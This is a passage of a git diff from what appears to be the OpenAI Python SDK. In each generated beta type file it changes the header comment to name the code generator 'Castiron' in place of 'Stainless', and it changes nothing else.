-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_mcp_list_tools_in_progress_event.py b/src/openai/types/beta/beta_response_mcp_list_tools_in_progress_event.py
index 36d394eefe..c94513daa9 100644
--- a/src/openai/types/beta/beta_response_mcp_list_tools_in_progress_event.py
+++ b/src/openai/types/beta/beta_response_mcp_list_tools_in_progress_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_output_item.py b/src/openai/types/beta/beta_response_output_item.py
index 7b6c81c02a..39169c3824 100644
--- a/src/openai/types/beta/beta_response_output_item.py
+++ b/src/openai/types/beta/beta_response_output_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_output_item_added_event.py b/src/openai/types/beta/beta_response_output_item_added_event.py
index ae5c3b09b2..6d1c8e1f9a 100644
--- a/src/openai/types/beta/beta_response_output_item_added_event.py
+++ b/src/openai/types/beta/beta_response_output_item_added_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_output_item_done_event.py b/src/openai/types/beta/beta_response_output_item_done_event.py
index 9058adbeea..293eb94903 100644
--- a/src/openai/types/beta/beta_response_output_item_done_event.py
+++ b/src/openai/types/beta/beta_response_output_item_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_output_message.py b/src/openai/types/beta/beta_response_output_message.py
index 9787c0817a..9abf376f63 100644
--- a/src/openai/types/beta/beta_response_output_message.py
+++ b/src/openai/types/beta/beta_response_output_message.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_output_message_param.py b/src/openai/types/beta/beta_response_output_message_param.py
index 834a4bb1ca..0ac8a9c60e 100644
--- a/src/openai/types/beta/beta_response_output_message_param.py
+++ b/src/openai/types/beta/beta_response_output_message_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_output_refusal.py b/src/openai/types/beta/beta_response_output_refusal.py
index adc3b9557f..a2c534c619 100644
--- a/src/openai/types/beta/beta_response_output_refusal.py
+++ b/src/openai/types/beta/beta_response_output_refusal.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_output_refusal_param.py b/src/openai/types/beta/beta_response_output_refusal_param.py
index 5f5b67e157..3aa8cb48c6 100644
--- a/src/openai/types/beta/beta_response_output_refusal_param.py
+++ b/src/openai/types/beta/beta_response_output_refusal_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_output_text.py b/src/openai/types/beta/beta_response_output_text.py
index f15deb506e..b17471ea68 100644
--- a/src/openai/types/beta/beta_response_output_text.py
+++ b/src/openai/types/beta/beta_response_output_text.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_output_text_annotation_added_event.py b/src/openai/types/beta/beta_response_output_text_annotation_added_event.py
index bc4f1c227e..1be73bcfcd 100644
--- a/src/openai/types/beta/beta_response_output_text_annotation_added_event.py
+++ b/src/openai/types/beta/beta_response_output_text_annotation_added_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_output_text_param.py b/src/openai/types/beta/beta_response_output_text_param.py
index 2acd3f6c42..3dff0da42b 100644
--- a/src/openai/types/beta/beta_response_output_text_param.py
+++ b/src/openai/types/beta/beta_response_output_text_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_prompt.py b/src/openai/types/beta/beta_response_prompt.py
index 16299bda27..d034313d9b 100644
--- a/src/openai/types/beta/beta_response_prompt.py
+++ b/src/openai/types/beta/beta_response_prompt.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, Union, Optional
from typing_extensions import TypeAlias
diff --git a/src/openai/types/beta/beta_response_prompt_param.py b/src/openai/types/beta/beta_response_prompt_param.py
index 1bd2941875..8e661bb6ec 100644
--- a/src/openai/types/beta/beta_response_prompt_param.py
+++ b/src/openai/types/beta/beta_response_prompt_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_queued_event.py b/src/openai/types/beta/beta_response_queued_event.py
index de322b037f..dabe9f5b7f 100644
--- a/src/openai/types/beta/beta_response_queued_event.py
+++ b/src/openai/types/beta/beta_response_queued_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_reasoning_item.py b/src/openai/types/beta/beta_response_reasoning_item.py
index 14d3c5abe7..80f8a75b17 100644
--- a/src/openai/types/beta/beta_response_reasoning_item.py
+++ b/src/openai/types/beta/beta_response_reasoning_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_reasoning_item_param.py b/src/openai/types/beta/beta_response_reasoning_item_param.py
index 608a31189f..1d64f577c4 100644
--- a/src/openai/types/beta/beta_response_reasoning_item_param.py
+++ b/src/openai/types/beta/beta_response_reasoning_item_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_reasoning_summary_part_added_event.py b/src/openai/types/beta/beta_response_reasoning_summary_part_added_event.py
index 99366b8970..48578e1e4b 100644
--- a/src/openai/types/beta/beta_response_reasoning_summary_part_added_event.py
+++ b/src/openai/types/beta/beta_response_reasoning_summary_part_added_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_reasoning_summary_part_done_event.py b/src/openai/types/beta/beta_response_reasoning_summary_part_done_event.py
index f7c0a67e15..6307fe4e3f 100644
--- a/src/openai/types/beta/beta_response_reasoning_summary_part_done_event.py
+++ b/src/openai/types/beta/beta_response_reasoning_summary_part_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_reasoning_summary_text_delta_event.py b/src/openai/types/beta/beta_response_reasoning_summary_text_delta_event.py
index c4dfc01fe8..7272573013 100644
--- a/src/openai/types/beta/beta_response_reasoning_summary_text_delta_event.py
+++ b/src/openai/types/beta/beta_response_reasoning_summary_text_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_reasoning_summary_text_done_event.py b/src/openai/types/beta/beta_response_reasoning_summary_text_done_event.py
index 2744b72cd5..ba02b9f8ce 100644
--- a/src/openai/types/beta/beta_response_reasoning_summary_text_done_event.py
+++ b/src/openai/types/beta/beta_response_reasoning_summary_text_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_reasoning_text_delta_event.py b/src/openai/types/beta/beta_response_reasoning_text_delta_event.py
index aa0713cef8..f41bf0afd9 100644
--- a/src/openai/types/beta/beta_response_reasoning_text_delta_event.py
+++ b/src/openai/types/beta/beta_response_reasoning_text_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_reasoning_text_done_event.py b/src/openai/types/beta/beta_response_reasoning_text_done_event.py
index 465e175db9..c5a0c466d3 100644
--- a/src/openai/types/beta/beta_response_reasoning_text_done_event.py
+++ b/src/openai/types/beta/beta_response_reasoning_text_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_refusal_delta_event.py b/src/openai/types/beta/beta_response_refusal_delta_event.py
index ecccd8990d..254809eaac 100644
--- a/src/openai/types/beta/beta_response_refusal_delta_event.py
+++ b/src/openai/types/beta/beta_response_refusal_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_refusal_done_event.py b/src/openai/types/beta/beta_response_refusal_done_event.py
index d6d6574d8c..049024a01c 100644
--- a/src/openai/types/beta/beta_response_refusal_done_event.py
+++ b/src/openai/types/beta/beta_response_refusal_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_status.py b/src/openai/types/beta/beta_response_status.py
index c1ea0379b3..06498b7d02 100644
--- a/src/openai/types/beta/beta_response_status.py
+++ b/src/openai/types/beta/beta_response_status.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/beta/beta_response_stream_event.py b/src/openai/types/beta/beta_response_stream_event.py
index 397e1368b5..57d5beadbf 100644
--- a/src/openai/types/beta/beta_response_stream_event.py
+++ b/src/openai/types/beta/beta_response_stream_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_text_config.py b/src/openai/types/beta/beta_response_text_config.py
index b3e4d25798..23abe7695a 100644
--- a/src/openai/types/beta/beta_response_text_config.py
+++ b/src/openai/types/beta/beta_response_text_config.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_text_config_param.py b/src/openai/types/beta/beta_response_text_config_param.py
index eb17df7ad9..328e28c580 100644
--- a/src/openai/types/beta/beta_response_text_config_param.py
+++ b/src/openai/types/beta/beta_response_text_config_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_text_delta_event.py b/src/openai/types/beta/beta_response_text_delta_event.py
index 3c22a6cfcc..86a378e854 100644
--- a/src/openai/types/beta/beta_response_text_delta_event.py
+++ b/src/openai/types/beta/beta_response_text_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_text_done_event.py b/src/openai/types/beta/beta_response_text_done_event.py
index b56c784568..afd2dd3f49 100644
--- a/src/openai/types/beta/beta_response_text_done_event.py
+++ b/src/openai/types/beta/beta_response_text_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_tool_search_call.py b/src/openai/types/beta/beta_response_tool_search_call.py
index eb71bc6f69..3f73c89efd 100644
--- a/src/openai/types/beta/beta_response_tool_search_call.py
+++ b/src/openai/types/beta/beta_response_tool_search_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_tool_search_output_item.py b/src/openai/types/beta/beta_response_tool_search_output_item.py
index 408be2338c..2baf97317c 100644
--- a/src/openai/types/beta/beta_response_tool_search_output_item.py
+++ b/src/openai/types/beta/beta_response_tool_search_output_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_tool_search_output_item_param.py b/src/openai/types/beta/beta_response_tool_search_output_item_param.py
index 6d6e6e4b3a..e71896894d 100644
--- a/src/openai/types/beta/beta_response_tool_search_output_item_param.py
+++ b/src/openai/types/beta/beta_response_tool_search_output_item_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_tool_search_output_item_param_param.py b/src/openai/types/beta/beta_response_tool_search_output_item_param_param.py
index b2864bdfeb..1862221e84 100644
--- a/src/openai/types/beta/beta_response_tool_search_output_item_param_param.py
+++ b/src/openai/types/beta/beta_response_tool_search_output_item_param_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_usage.py b/src/openai/types/beta/beta_response_usage.py
index 4992c89a47..b96bde525d 100644
--- a/src/openai/types/beta/beta_response_usage.py
+++ b/src/openai/types/beta/beta_response_usage.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..._models import BaseModel
diff --git a/src/openai/types/beta/beta_response_web_search_call_completed_event.py b/src/openai/types/beta/beta_response_web_search_call_completed_event.py
index 000e589830..cc3a81a48d 100644
--- a/src/openai/types/beta/beta_response_web_search_call_completed_event.py
+++ b/src/openai/types/beta/beta_response_web_search_call_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_web_search_call_in_progress_event.py b/src/openai/types/beta/beta_response_web_search_call_in_progress_event.py
index 75080cdbb0..e58923ff42 100644
--- a/src/openai/types/beta/beta_response_web_search_call_in_progress_event.py
+++ b/src/openai/types/beta/beta_response_web_search_call_in_progress_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_web_search_call_searching_event.py b/src/openai/types/beta/beta_response_web_search_call_searching_event.py
index 39027d6363..ce49cc8eb3 100644
--- a/src/openai/types/beta/beta_response_web_search_call_searching_event.py
+++ b/src/openai/types/beta/beta_response_web_search_call_searching_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index 49c23ef510..2bd583d15f 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index 378a84b8c4..d6abbc80bf 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_responses_server_event.py b/src/openai/types/beta/beta_responses_server_event.py
index 945561cfb4..effd70549c 100644
--- a/src/openai/types/beta/beta_responses_server_event.py
+++ b/src/openai/types/beta/beta_responses_server_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_skill_reference.py b/src/openai/types/beta/beta_skill_reference.py
index 2d8d041e1d..40337b8a49 100644
--- a/src/openai/types/beta/beta_skill_reference.py
+++ b/src/openai/types/beta/beta_skill_reference.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_skill_reference_param.py b/src/openai/types/beta/beta_skill_reference_param.py
index 306377f2e6..fa87d81c39 100644
--- a/src/openai/types/beta/beta_skill_reference_param.py
+++ b/src/openai/types/beta/beta_skill_reference_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_tool.py b/src/openai/types/beta/beta_tool.py
index fcef43a13a..9e1e64bbf2 100644
--- a/src/openai/types/beta/beta_tool.py
+++ b/src/openai/types/beta/beta_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_tool_choice_allowed.py b/src/openai/types/beta/beta_tool_choice_allowed.py
index 9b6f66b7c0..fd162ba005 100644
--- a/src/openai/types/beta/beta_tool_choice_allowed.py
+++ b/src/openai/types/beta/beta_tool_choice_allowed.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_tool_choice_allowed_param.py b/src/openai/types/beta/beta_tool_choice_allowed_param.py
index ed2b91e357..293c0a352f 100644
--- a/src/openai/types/beta/beta_tool_choice_allowed_param.py
+++ b/src/openai/types/beta/beta_tool_choice_allowed_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_tool_choice_apply_patch.py b/src/openai/types/beta/beta_tool_choice_apply_patch.py
index 76bc9fe1f2..b3bcede324 100644
--- a/src/openai/types/beta/beta_tool_choice_apply_patch.py
+++ b/src/openai/types/beta/beta_tool_choice_apply_patch.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_tool_choice_apply_patch_param.py b/src/openai/types/beta/beta_tool_choice_apply_patch_param.py
index 4daf2c4a9e..3b26b0cfe0 100644
--- a/src/openai/types/beta/beta_tool_choice_apply_patch_param.py
+++ b/src/openai/types/beta/beta_tool_choice_apply_patch_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_tool_choice_custom.py b/src/openai/types/beta/beta_tool_choice_custom.py
index 00a2f86150..4f41f382c5 100644
--- a/src/openai/types/beta/beta_tool_choice_custom.py
+++ b/src/openai/types/beta/beta_tool_choice_custom.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_tool_choice_custom_param.py b/src/openai/types/beta/beta_tool_choice_custom_param.py
index 11ae09576a..83d8d88dfe 100644
--- a/src/openai/types/beta/beta_tool_choice_custom_param.py
+++ b/src/openai/types/beta/beta_tool_choice_custom_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_tool_choice_function.py b/src/openai/types/beta/beta_tool_choice_function.py
index 658737d6f7..883fcb8f64 100644
--- a/src/openai/types/beta/beta_tool_choice_function.py
+++ b/src/openai/types/beta/beta_tool_choice_function.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_tool_choice_function_param.py b/src/openai/types/beta/beta_tool_choice_function_param.py
index 44dca10a5c..faf08d5974 100644
--- a/src/openai/types/beta/beta_tool_choice_function_param.py
+++ b/src/openai/types/beta/beta_tool_choice_function_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_tool_choice_mcp.py b/src/openai/types/beta/beta_tool_choice_mcp.py
index 659de2c4bd..41f660a79b 100644
--- a/src/openai/types/beta/beta_tool_choice_mcp.py
+++ b/src/openai/types/beta/beta_tool_choice_mcp.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_tool_choice_mcp_param.py b/src/openai/types/beta/beta_tool_choice_mcp_param.py
index 7496c79dc4..5cd07fc926 100644
--- a/src/openai/types/beta/beta_tool_choice_mcp_param.py
+++ b/src/openai/types/beta/beta_tool_choice_mcp_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_tool_choice_options.py b/src/openai/types/beta/beta_tool_choice_options.py
index 847ffcdaf4..43dfcb1306 100644
--- a/src/openai/types/beta/beta_tool_choice_options.py
+++ b/src/openai/types/beta/beta_tool_choice_options.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/beta/beta_tool_choice_shell.py b/src/openai/types/beta/beta_tool_choice_shell.py
index 53e2bd7479..6710b6ccd9 100644
--- a/src/openai/types/beta/beta_tool_choice_shell.py
+++ b/src/openai/types/beta/beta_tool_choice_shell.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_tool_choice_shell_param.py b/src/openai/types/beta/beta_tool_choice_shell_param.py
index 20980de167..b72913a0c4 100644
--- a/src/openai/types/beta/beta_tool_choice_shell_param.py
+++ b/src/openai/types/beta/beta_tool_choice_shell_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_tool_choice_types.py b/src/openai/types/beta/beta_tool_choice_types.py
index 278f5193ae..f427782b16 100644
--- a/src/openai/types/beta/beta_tool_choice_types.py
+++ b/src/openai/types/beta/beta_tool_choice_types.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_tool_choice_types_param.py b/src/openai/types/beta/beta_tool_choice_types_param.py
index b23057bddf..4b14b55cb0 100644
--- a/src/openai/types/beta/beta_tool_choice_types_param.py
+++ b/src/openai/types/beta/beta_tool_choice_types_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_tool_param.py b/src/openai/types/beta/beta_tool_param.py
index 594084e2db..d3bef81880 100644
--- a/src/openai/types/beta/beta_tool_param.py
+++ b/src/openai/types/beta/beta_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_tool_search_tool.py b/src/openai/types/beta/beta_tool_search_tool.py
index 700aad0285..a949bb7690 100644
--- a/src/openai/types/beta/beta_tool_search_tool.py
+++ b/src/openai/types/beta/beta_tool_search_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
